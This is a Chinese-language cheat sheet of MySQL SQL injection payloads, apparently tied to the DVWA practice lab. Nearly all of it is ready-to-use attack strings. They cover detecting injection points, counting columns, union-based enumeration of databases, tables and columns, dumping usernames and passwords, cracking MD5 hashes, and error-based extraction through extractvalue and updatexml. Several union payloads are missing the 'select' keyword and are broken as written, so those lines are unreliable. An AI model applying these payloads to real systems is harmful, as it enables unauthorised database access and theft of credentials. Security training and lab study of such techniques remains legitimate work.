1. 判断注入点及类型
**整型:** 1+1 1-1 1 and 1=1 1 and 1=2 **字符型:** 1' 1" 1' and '1'='1 1' and '1'='2 闭合方式可能为',",'),")等等,根据实际情况修改 **搜索型:** 'and 1=1 and'%'=' %' and 1=1--+ %' and 1=1 and '%'='2. 判断字段数
1' order by 1--+ 1' order by n--+ **提示** :可以利用**二分法** 进行判断3. 判断数据显示位
**union ** 关键字
- 功能 :多条查询语句的结果合并成一个结果
- 用法:查询语句1 union 查询语句2 union 查询语句3
- 注意:
1. 要求多条查询语句的查询列数是一致的
2. union关键字默认去重,如果使用 union all可以包含重复项
1' union select 1,2--+ **备注** :这里使用**-1或任意一个不存在的值** 使union之前的语句查询无结果,则显示的时候就会显示union之后的第二条语句4. 获取数据库信息:用户,版本,当前数据库名等
1' union select version(),user(),@@basedir# 1' union select version(),user(),@@basedir%23 1' union select database(),user(),@@datadir--+ 1' union select @@version_compile_os,user(),@@basedir--5. 获取数据库中的所有 库 名信息
1' union select 1,2,group_concat(schema_name) from information_schema.schemata--+6. 获取数据库中的所有 表 名信息
查询当前库 1' union 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+ 查询其他库 1' union 1,2,group_concat(table_name) from information_schema.tables where table_schema='dvwa'--+这里的库名可以用16进制 表示,也可用char() ** 将库名每个字母的ascii码** 连起来表示
7. 获取数据库中的所有 字段 名信息
1' union 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'--+8. 获取数据库中的所有 内容 值信息
1' union 1,2,concat(username,password) from users--+ 1' union 1,2,concat_ws('_',username,password) from users--+ 1' union 1,2,group_concat(username,password) from users--+9. 获取数据库中信息 破解加密 数据
:破解加密数据:5f4dcc3b5aa765d61d8327deb882cf99
Md5解密网站:https://www.cmd5.com
error注入报错注入概述
报错注入 (英文名:Error- based injection),就是利用数据库的某些机制,人为地制造错误条件,使得査询结果能够出现在错误信息中。
正常用户访问服务器发送id信息返回正确的id数据。报错注入是想办法构造语句,让错误信息中可以显示数据库的内容,如果能让错误信息中返回数据库中的内容,即实现SQL注入。
XPATH 报错注入extractvalue (arg1, arg2)
- 接受两个参数,arg1:XML文档,arg2:XPATH语句
- 条件:mysql 5.1及以上版本
- 标准payload:
and extractvalue(1,concat(0x7e,(select user()),0x7e)) and extractvalue(1,concat(0x7e,(此处可替换任意SQL语句),0x7e))- 返回结果: XPATH syntax error:'root@localhost'
updatexml (arg1, arg2, arg3)
- arg1为xml文档对象的名称;arg2为 xpath格式的字符串;arg3为 string格式替换查找到的符合条件的数据。
- 条件:mysql 5.1.5及以上版本
- 标准payload:
and updatexml(1,concat(0x7e,(select user()),0x7e),1) and updatexml(1,concat(0x7e,(此处可替换任意SQL语句),0x7e),1)- 返回结果:XPATH syntax error:'~root@localhost